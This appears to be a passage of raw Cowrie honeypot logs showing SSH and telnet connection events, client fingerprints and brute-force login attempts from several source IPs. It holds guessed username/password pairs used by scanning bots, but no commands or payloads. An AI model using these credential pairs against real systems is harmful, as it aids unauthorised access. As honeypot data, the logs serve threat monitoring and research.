{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.223013Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60752,"dst_ip":"159.203.135.109","dst_port":22,"session":"82cc74fe1414","protocol":"ssh","message":"New connection: 209.99.184.143:60752 (159.203.135.109:22) [session: 82cc74fe1414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.312071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.316413Z","src_ip":"209.99.184.143","session":"82cc74fe1414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.412266Z","src_ip":"209.99.184.143","session":"82cc74fe1414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:49.826396Z","src_ip":"209.99.184.143","session":"82cc74fe1414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:50.925773Z","src_ip":"209.99.184.143","session":"82cc74fe1414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60756,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ad5c0a52ab","protocol":"ssh","message":"New connection: 209.99.184.143:60756 (159.203.135.109:22) [session: 39ad5c0a52ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:51.017598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:51.021742Z","src_ip":"209.99.184.143","session":"39ad5c0a52ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:51.119807Z","src_ip":"209.99.184.143","session":"39ad5c0a52ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:51.534403Z","src_ip":"209.99.184.143","session":"39ad5c0a52ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:51.633410Z","src_ip":"209.99.184.143","session":"79312053100d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:51.638365Z","src_ip":"209.99.184.143","session":"39ad5c0a52ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53600,"dst_ip":"10.17.0.5","dst_port":22,"session":"5296d77eb27c","protocol":"ssh","message":"New connection: 47.86.95.62:53600 (10.17.0.5:22) [session: 5296d77eb27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:52.423771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:52.797467Z","src_ip":"47.86.95.62","session":"5296d77eb27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":64054,"dst_ip":"159.203.135.109","dst_port":22,"session":"0624c085bf08","protocol":"ssh","message":"New connection: 165.154.23.26:64054 (159.203.135.109:22) [session: 0624c085bf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:55.035019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:55.040647Z","src_ip":"165.154.23.26","session":"0624c085bf08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:55.257734Z","src_ip":"165.154.23.26","session":"0624c085bf08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"boss","password":"boss","message":"login attempt [boss/boss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:56.146788Z","src_ip":"165.154.23.26","session":"0624c085bf08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:36:57.368883Z","src_ip":"165.154.23.26","session":"0624c085bf08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:37:07.248738Z","src_ip":"47.86.95.62","session":"5296d77eb27c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:37:31.455215Z","src_ip":"47.86.95.62","session":"5296d77eb27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45494,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f7aa1dc553","protocol":"ssh","message":"New connection: 47.86.95.62:45494 (10.17.0.5:22) [session: 41f7aa1dc553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:37:45.112351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:37:45.335378Z","src_ip":"47.86.95.62","session":"41f7aa1dc553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"71.7","message":"Connection lost after 71.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:04.081604Z","src_ip":"47.86.95.62","session":"5296d77eb27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":33794,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaadf8c4031c","protocol":"ssh","message":"New connection: 165.154.23.26:33794 (159.203.135.109:22) [session: aaadf8c4031c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:17.906360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:17.910965Z","src_ip":"165.154.23.26","session":"aaadf8c4031c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:18.128872Z","src_ip":"165.154.23.26","session":"aaadf8c4031c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jcon0r73","password":"qvAKezGkBP2x-stx1C-n","message":"login attempt [jcon0r73/qvAKezGkBP2x-stx1C-n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:19.026721Z","src_ip":"165.154.23.26","session":"aaadf8c4031c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:20.252628Z","src_ip":"165.154.23.26","session":"aaadf8c4031c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:35.313391Z","src_ip":"47.86.95.62","session":"41f7aa1dc553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:53.041515Z","src_ip":"47.86.95.62","session":"41f7aa1dc553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"69.2","message":"Connection lost after 69.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:38:54.288078Z","src_ip":"47.86.95.62","session":"41f7aa1dc553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46030,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6e92c088ec","protocol":"ssh","message":"New connection: 47.86.95.62:46030 (10.17.0.5:22) [session: 1b6e92c088ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:05.730458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:10.396616Z","src_ip":"47.86.95.62","session":"1b6e92c088ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:10.402075Z","src_ip":"47.86.95.62","session":"1b6e92c088ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1002e3f5220","protocol":"telnet","message":"New connection: 142.93.69.27:48756 (10.17.0.5:23) [session: f1002e3f5220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:17.867305Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":48182,"dst_ip":"159.203.135.109","dst_port":22,"session":"97c5f0a5fe44","protocol":"ssh","message":"New connection: 209.99.184.143:48182 (159.203.135.109:22) [session: 97c5f0a5fe44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:21.141970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:21.146902Z","src_ip":"209.99.184.143","session":"97c5f0a5fe44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:21.245630Z","src_ip":"209.99.184.143","session":"97c5f0a5fe44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"p@ssw0rd","message":"login attempt [ops/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:21.663937Z","src_ip":"209.99.184.143","session":"97c5f0a5fe44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:22.763175Z","src_ip":"209.99.184.143","session":"97c5f0a5fe44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":58564,"dst_ip":"159.203.135.109","dst_port":22,"session":"0860c748a6fb","protocol":"ssh","message":"New connection: 165.154.23.26:58564 (159.203.135.109:22) [session: 0860c748a6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:37.742895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:37.748116Z","src_ip":"165.154.23.26","session":"0860c748a6fb","protocol":"ssh"}
